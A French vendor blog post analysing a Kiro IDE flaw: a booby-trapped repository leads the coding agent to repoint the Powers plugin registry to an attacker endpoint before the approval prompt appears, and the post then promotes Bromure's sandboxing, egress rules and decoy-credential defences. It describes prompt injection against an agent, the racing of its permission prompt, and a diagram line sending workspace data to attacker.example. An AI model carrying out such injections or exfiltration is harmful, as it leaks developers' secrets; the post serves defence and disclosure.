Retour à tous les articles
Publié le · par Renaud Deraison

Le fichier était déjà sur le disque

Le 11 septembre, AWS a publié CVE-2026-89332 : un dépôt piégé amène l'agent de Kiro à réécrire le fichier de réglages du workspace et à pointer le registre Powers vers l'endpoint d'un attaquant. Kiro affichait bien la modification pour approbation, avec la donnée insérée et l'URL. L'écriture avait déjà eu lieu, donc ouvrir le panneau Powers avant de répondre envoyait quand même les données du workspace. AWS demande de renouveler les identifiants de tout projet ouvert avec une version antérieure. Dans un workspace Bromure Agentic Coding, le registre d'outils n'est pas un fichier que l'invité peut écrire, la requête rencontre une règle d'egress en sortie, et les identifiants qu'elle transporterait sont des leurres.

La fenêtre d'approbation s'est ouverte, elle nommait l'URL de l'attaquant et montrait les données qui partaient là-bas. Elle est arrivée après que l'écriture dont elle demandait la permission avait déjà eu lieu sur le disque.

Vous clonez un dépôt que quelqu'un vous a envoyé et vous y lancez l'agent. Une carte apparaît : l'agent veut modifier un réglage, voici la ligne qu'il a insérée, voici l'URL. Vous comptez la lire. D'abord vous passez au panneau des plugins, par curiosité pour ce que ce projet embarque, et ce clic-là achève l'attaque.

Le 11 septembre, AWS a publié le bulletin de sécurité 2026-111-AWS pour CVE-2026-89332 dans Kiro, son IDE agentique. La fiche CVE le décrit dans la langue plate du catalogue :

L'inclusion de fonctionnalité provenant d'une sphère de contrôle non fiable dans la fonctionnalité Kiro Powers de l'IDE Amazon Kiro avant la version 0.8.135 peut permettre à des acteurs distants non authentifiés d'obtenir des informations sensibles depuis un poste de travail de développeur.

La fiche la note 5,5 sur CVSS 3.1, AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N : impact élevé sur la confidentialité, aucun impact sur l'intégrité ni la disponibilité. Kiro 0.8.135 corrige le problème, et AWS n'indique aucun contournement.

Powers, et le fichier qui dit d'où ils viennent

Les Powers sont le format de plugin de Kiro : un lot d'outils MCP, de skills et de connaissances de référence réunis dans un paquet installable. MCP, c'est le Model Context Protocol, la prise qui permet à un agent de codage d'appeler des outils extérieurs et d'en lire les résultats. Vous parcourez les Powers depuis un registre à l'intérieur de l'IDE et vous cliquez sur installer, exactement comme vous parcourriez des extensions.

Un réglage nomme le registre que l'IDE parcourt, et dans un workspace non fiable l'agent Kiro pouvait écrire le fichier de réglages du workspace. Un dépôt piégé s'en sert pour pointer l'URL du registre Powers vers un endpoint que l'attaquant contrôle. Kiro va chercher cette URL quand vous ouvrez le panneau Powers, et la requête emporte avec elle des données du workspace : dans un vrai projet, tout ce qui se trouve à côté du code, comme le contenu de .env, des clés d'accès cloud, des jetons d'API et des URL de base de données.

Kiro est déjà passé par là. En juillet, une page de documentation empoisonnée a réécrit la config qui lance les serveurs MCP de Kiro, sans la moindre demande d'approbation. AWS a ajouté la demande, et le bulletin de septembre consigne la façon dont cette demande s'est comportée.

Écrire d'abord, demander ensuite

Le récit de la séquence que fait le bulletin est la partie à retenir :

Kiro présentait la modification à l'utilisateur pour approbation, en montrant la donnée insérée et l'URL, mais le fichier était déjà écrit sur le disque, donc ouvrir le panneau Powers avant de répondre à l'invite déclenchait la requête quand même.

La fenêtre a fait son travail de fenêtre. Elle montrait la donnée insérée et l'URL de destination, c'est-à-dire tout ce dont un relecteur a besoin pour juger la modification. Le fichier reposait sur le disque pendant que la question restait ouverte, donc la question racontait un événement au lieu d'en commander un. Entre l'écriture et votre réponse il y a une fenêtre, et à l'intérieur c'est le réglage qui gouverne ce que Kiro va chercher. Un clic sur un panneau dans cette fenêtre, et c'est toute l'attaque.

une machine, une fenêtre de secondesle dépôtcontenu fait pour guiderl'agent, ouvert enworkspace non fiablel'écritureconfig du workspace,powers registry → attaquantsur disque, actifla carte d'accordmontre la ligne inséréeet l'URL de destinationet vous attendvotreréponseautoriserou refuserpendant l'attente, le réglage est actifvous ouvrez le panneau Powers · Kiro va chercher l'URL configuréeGET https://attacker.example/registry ← données du workspacela réponse que vous donnez ensuite n'a plus rien à retenir
CVE-2026-89332 sous forme de chronologie, de gauche à droite, le tout sur la machine du développeur. Le dépôt piégé amène l'agent à écrire le fichier de réglages du workspace, en repointant l'URL du registre Kiro Powers vers un endpoint de l'attaquant. Le fichier de réglages atterrit sur le disque, et c'est seulement ensuite que la carte d'approbation apparaît, montrant la ligne insérée et l'URL comme elle le doit. Pendant que la carte attend une réponse, le réglage est déjà en vigueur : ouvrir le panneau Powers amène Kiro à aller chercher le registre configuré, et les données du workspace partent avec la requête. Quoi que le développeur clique ensuite, il ne reste plus rien à retenir.

Une invite dont on peut perdre la course

Une invite d'approbation ne contrôle un résultat que si ce résultat attend votre réponse. Engagez l'effet d'abord et l'invite devient une notification munie de boutons, et ce qu'elle vous protège dépend alors de votre vitesse de lecture et de ce que vous cliquez pendant que vous lisez. Kiro a écrit d'abord et demandé ensuite, et c'est cet ordre-là qui donne à un IDE agentique sa sensation de rapidité. Tout outil qui confie à un agent un outil d'écriture de fichiers et boulonne une couche de consentement par-dessus affronte le même arbitrage, et les éditeurs continueront de le trancher ainsi.

La montée de version ferme ce cas précis. Ce qui subsiste, c'est l'endroit où vit le réglage, et ce qu'il peut atteindre une fois modifié.

Où cette écriture atterrit dans un workspace Bromure

Bromure Agentic Coding fait tourner les agents de codage dans une VM Linux à virtualisation matérielle sur votre Mac, avec les contrôles de sécurité du côté hôte de cette frontière. Il reste quatre coups à l'attaque une fois qu'elle atteint un workspace, et une partie différente du produit répond à chacun.

Le registre d'outils n'est pas un fichier que l'invité peut écrire. Dans Bromure, vous définissez les serveurs MCP une fois, dans le panneau MCP de l'application, sur l'hôte. L'application traduit chaque définition dans le format de configuration natif de l'agent en cours d'exécution, ~/.claude.json pour Claude Code, un bloc TOML dans ~/.codex/config.toml pour Codex, le fichier de réglages utilisateur pour Grok Build, et l'injecte dans la VM au démarrage. Le manuel en énonce la conséquence : ajouter, modifier ou retirer un serveur prend effet au prochain démarrage de la session du workspace, pas à chaud dans une session en cours. Un agent qui réécrit la config des outils à l'intérieur de la VM a modifié une copie, sur une machine qui n'est pas la vôtre, et cette copie ne devient un outil vivant qu'au démarrage d'une session qui lit à la place la définition de l'hôte. Aucune fenêtre ne s'ouvre, parce que la modification et l'effet siègent à des endroits différents. Pour les serveurs MCP en HTTP, le jeton reste lui aussi côté hôte, sous un champ d'identifiant légendé never sent to VM, swapped by proxy.

L'écriture atterrit dans une VM. Chaque workspace possède sa propre VM Linux persistante, avec son propre noyau, son disque, son adresse MAC et son espace de noms réseau. Un processus d'agent devenu hostile peut saccager cette VM et rien qu'elle ; votre Mac, vos autres workspaces et vos vrais fichiers restent intacts, hormis les dossiers que vous avez partagés exprès. Le dépôt piégé obtient de modifier un fichier de réglages sur une machine qui existe pour être modifiée et, s'il le faut, effacée.

La requête doit sortir. L'histoire du scan de Vite d'hier n'avait aucune étape sortante à bloquer. Celle-ci en a une : l'exfiltration est une requête ordinaire vers un hôte au choix de l'attaquant, et c'est précisément à cela que sert un pare-feu d'egress par workspace. Guardrails applique un jeu de règles ordonné, de style pf, à chaque connexion que la VM ouvre, par hôte, IP ou CIDR, protocole, port, et jusqu'aux verbes HTTP individuels pour le trafic web, de sorte qu'un workspace peut lire une API sans avoir le droit d'y écrire. Bromure l'applique au switch virtuel et de nouveau dans le proxy, les flux de l'invité sur les ports 80 et 443 étant déroutés vers le proxy pour que rien à l'intérieur de la VM n'échappe à l'inspection. Les modifications de règles atteignent immédiatement les sessions en cours. Un workspace dont les règles nomment votre registre, votre forge et votre fournisseur de modèle ne comporte aucune ligne qui dise attacker.example.

La requête aurait transporté des leurres. La formule du bulletin est « informations sensibles depuis un poste de travail de développeur », et dans un workspace Bromure ces informations sont des leurres. Bromure remplace chaque identifiant que vous configurez par un faux préservant la structure à l'intérieur de la VM, dérivé de la vraie valeur et d'un sel de 32 octets propre à l'installation via HKDF-SHA256, en gardant la forme qu'attendent les validateurs côté client : sk-ant-api03-brm-… pour Anthropic, ghp_ suivi de 36 caractères pour GitHub, glpat- suivi de 20 pour GitLab, brm-k8s-… pour Kubernetes, brm-db-… pour un secret de base de données. Ces faux vont dans les variables d'environnement et dans ~/.git-credentials, ~/.docker/config.json, ~/.kube/config, ~/.aws/config et les configs MCP. Les vraies valeurs restent chiffrées sur le Mac, et le proxy de l'hôte substitue chacune d'elles sur le fil au dernier moment, dans la portée de l'hôte de destination auquel elle appartient.

un poste de développeurun disque, un réseau, de vraies clésécriture sur votre disqueréglage actif avant votre réponsela carte court contre le clicle premier arrivé décide du résultatGET attacker.example/registrydonnées du workspace, port sortant banalensuitemettre à jour, puis renouveler chaquesecret présent dans un projet ouvertdans un workspacedisque invité, registre côté hôte, leurresécriture sur le disque de la VMoutils définis sur l'hôte, injectés au bootla requête rencontre les règlesau switch virtuel puis dans le proxyun leurre hors scope est un piège451 · zéro octet transmis · VM en pauseensuiteeffacer disque et dossier home,et rien à renouveler
Le même dépôt piégé, ouvert sur deux machines. Sur un poste de travail de développeur, l'écriture atterrit sur le vrai système de fichiers, la carte d'approbation fait la course avec le panneau Powers, la requête part vers l'endpoint de l'attaquant en emportant ce que contient le projet, et la remédiation consiste à renouveler tous les identifiants qui étaient à portée. Dans un workspace Bromure Agentic Coding, l'écriture atterrit sur un disque de VM tandis que l'hôte conserve les définitions d'outils qui font autorité et ne les injecte qu'au démarrage, la requête sortante rencontre les règles d'egress du workspace au switch virtuel puis de nouveau dans le proxy, ce qui sort malgré tout transporte des leurres préservant la structure, et un leurre adressé à un hôte pour lequel il n'a pas été émis est refusé par un HTTP 451 pendant que la VM est mise en pause sur-le-champ.

Le piège qui se déclenche sur la requête elle-même

Les leurres font un second travail. Chaque faux a une seule famille de destinations légitimes, la portée d'hôte pour laquelle il a été émis, donc un faux dans une requête destinée à n'importe où ailleurs signifie que quelque chose à l'intérieur de la VM expédie un identifiant hors de la machine. Le proxy analyse chaque requête sortante, en-têtes et corps, avec un automate d'Aho-Corasick, assez peu coûteux pour tourner sur toutes.

En cas de touche, le proxy refuse la requête par un HTTP 451 et ne transmet pas un seul octet, puis met la VM en pause. Une alerte propose Shut down, Save for Investigation, qui exporte d'abord le disque, le home et les dossiers partagés pour analyse, ou Continue à vos risques. La détection atterrit en ligne rouge Credential brokering dans la Security Timeline, et Bromure marque le workspace comme compromis, de sorte que votre prochain lancement propose d'effacer le disque de la VM et le dossier home persistant tout en conservant vos jetons, vos clés et vos réglages. Vous n'activez rien. Le détecteur tourne par défaut.

La carte d'approbation de Kiro posait une question à propos d'un fichier qui avait déjà changé. Le détecteur de compromission ne demande rien : il arrête la requête en vol, gèle la machine qui l'a émise, et vous prévient après. Les propres invites de consentement de Bromure fonctionnent dans ce sens-là. En mode Ask, le scanner d'injection de prompt retient la requête sortante avant que le moindre octet n'atteigne l'hôte du modèle, les fenêtres d'écriture de Guardrails retiennent l'appel d'API au lieu d'en faire le compte rendu, et quand vous pilotez un workspace à distance ces invites s'affichent sur l'hôte, où un invité compromis ne peut ni les voir ni les contrefaire, et où un délai dépassé ou un rejet vaut refus.

Ne rien renouveler

La remédiation d'AWS tient en deux étapes. Mettre à jour vers 0.8.135, puis renouveler les identifiants présents dans tout projet que vous avez ouvert avec une version antérieure. La seconde étape coûte plus cher que la première, et elle coûte d'une manière particulière : vous ne pouvez pas en délimiter la portée. Vous ignorez quels dépôts étaient piégés, ou quels clics de panneau sont tombés à l'intérieur de quelle fenêtre, donc vous renouvelez ce qui était à portée et vous vous ré-authentifiez auprès de l'outillage qui en dépendait.

La documentation de Bromure Agentic Coding formule la même pensée à l'envers : parce que seul le faux a fuité, le vrai identifiant n'a jamais besoin d'être renouvelé. Gardez sur l'hôte le registre d'outils qui fait autorité, faites tourner le dépôt non fiable sur une machine que vous pouvez jeter, et remplissez le répertoire personnel de cette machine de leurres. Une course que vous perdez ne vous coûte alors qu'une image de VM.

Installez Bromure Agentic Coding, et laissez le prochain dépôt essayer de réécrire un réglage.